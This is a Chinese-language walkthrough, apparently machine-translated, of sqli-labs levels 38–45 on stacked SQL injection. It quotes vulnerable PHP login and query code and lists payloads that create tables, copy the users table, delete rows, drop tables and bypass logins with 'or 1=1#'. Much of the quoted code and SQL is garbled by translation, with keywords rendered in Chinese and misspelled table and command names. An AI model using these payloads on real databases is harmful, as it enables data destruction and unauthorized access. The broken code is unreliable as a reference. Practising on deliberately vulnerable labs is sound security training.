文章目录
堆栈注入原理堆栈注入
减_38减_39减_40减_41减_42减_43减_44减_45
堆叠注入
sqli-labs海关指南:少38~41
堆叠注入的原理
在SQL中,当多个SQL语句一起执行时,分号用于标记SQL语句的结束。
完成分号后,继续构建下一条语句,例如select*from users where id=1; create table test like users。
只需创建一个新表
例如,如果用户通过键入1;DELETE FROM products 来运行查询,则第一个字段将显示查询信息,第二个字段将删除整个表。
Less 38到41 虽然使用Less 1的方法注入成功,但这四个级别都存在堆栈注入漏洞。您可以使用“;”关闭第一个SQL 语句并运行后续SQL 语句。该漏洞允许对数据库执行任意操作。
Less_38
sqli-labs 海关指南:Less 38 ~ 41 – WhiteMoon
查看源代码:
$sql=\’SELECT * FROM users WHERE id=\’$id\’ LIMIT 0,1\’;
/* 执行多条查询*/
如果(mysqli_multi_query($con1, $sql))
{
/* 保存第一个结果集*/
if ($结果=mysqli_store_result($con1))
{
if($row=mysqli_fetch_row($结果))
{
echo \’字体大小=\’5\’颜色=\’#00FF00\’\’;
printf(\’您的用户名是: %s\’, $row[1]);
回声“br”;
printf(\’您的密码是: %s\’, $row[2]);
回声“br”;
回显\’/字体\’;
}
可以看到mysqli_multi_query()函数可以执行多个mysql语句。
旧的mysql_query()函数只能执行一条Mysql语句。
常用SQL命令
这个问题是关于单引号注入的
让我们尝试一下堆栈注入
?id=1\’;像用户一样创建Cyan表;–+,添加名为Cyan的新表
您可以看到多了一个名为Cyan 的表名称。
?id=1\’;INSRET INTO Cyan SELECT*FROM users;将用户表中的数据插入Cyan
?id=1\’;DELETE FROM Cyan;–+ 删除新建表中的数据
?id=1\’;DROP TABLE Cyan;–+ 删除新创建的表
Less_39
首先插入公共语句
?id=1\’
?id=1\’)
?id=1\’))
?id=1\’
?id=1\’)
?id=1\’))
发现全部报错
我有一个关于数字注入的问题。
?id=1 和1=1 是正常的。id=1 和1=2 是错误。
和上一个问题几乎一样
?id=1;创建表青色LIKE usres;
插入数据?id=1;INSERT INTO 青色SELECT*FROM user;
Less_40
输入?id=1\’ 会报告错误,但不会产生回显。
如果你尝试一下,你会发现这道题是单引号和括号的盲目注入。
?id=1;创建表青色LIKE 用户;–+
?id=1;插入青色选择*来自用户;–+
?id=1;从青色中删除;–+
?id=1;删除表青色;–+
同问题38
Less_41
尝试更多,这是数字盲注
如果我输入?id=1 和1=1,显示应该没问题。输入?id=1和1=2会报错。
?id=1;创建表青色LIKE 用户;–+
?id=1;插入青色选择*来自用户;–+
?id=1;从青色中删除;–+
?id=1;删除表青色;–+
Less_42
当我打开它时,这是一个登录框,有点类似于问题24中的二次注入框。
如果您首先使用通用密码插入,则所有登录都将失败。
1 或1=1#
a\’ 或1=1#
a\’) 或1=1#
a\’)) 或1=1#
a\’ 或1=1#
a\’) 或1=1#
a\’)) 或1=1#
将通用密码插入密码1\’或1=1#
登录成功,我注意到密码字段有单引号中的字符类型注入。
update更新数据后,mysql_real_escape_string()处理的数据保存到数据库后保持不变,只有在调用select时才起作用。因此,这一级和二阶注入的思想是不同的,因为更新密码时不必考虑注入。
登录查看源代码
$con1=mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username=mysqli_real_escape_string($con1, $_POST[\’login_user\’]);
$password=$_POST[\’登录密码\’];
事实证明,密码不是由mysqli_real_escape_string 函数处理的,并且可以在登录时被利用。
mysqli_real_escape_string 转义SQL 中的特殊字符
转义字符包括NUL (ASCII 0)、\\n、\\r、\\、\’,\’ 和CTRL+Z。
在密码字段中输入1\’;drop table 青色;#。
这是之前的表名
这是命令执行后的表名。
其余命令与上面相同
Less_43
1\’或1=1#
1\’或1=1#,不报错误信息
1\’) or 1=1#,ok,登录成功。指示密码字段包含单引号和括号字符插入。
查看源代码:
$con1=mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username=mysqli_real_escape_string($con1, $_POST[\’login_user\’]);
$password=$_POST[\’登录密码\’];
与上一个问题相同,1\’); 像用户一样创建表。
好的,我添加了
Less_44
1\’ or 1=1# 你瞧,我直接登录了,但密码中包含单引号。
查看页面源码:
$con1=mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username=mysqli_real_escape_string($con1, $_POST[\’login_user\’]);
$password=$_POST[\’登录密码\’];
和上面同样的问题
1\’;插入用户的选择*;
我前面的桌子
插入数据后的me表
Less_45
1\’) or 1=1# 登录成功。密码字段包含单引号和括号字符插入
请输入您的密码
1\’);从我这里删除#
可以看到没有数据
1\’);删除表格#
是的,已删除
以上#Sqli相关内容来源仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93887.html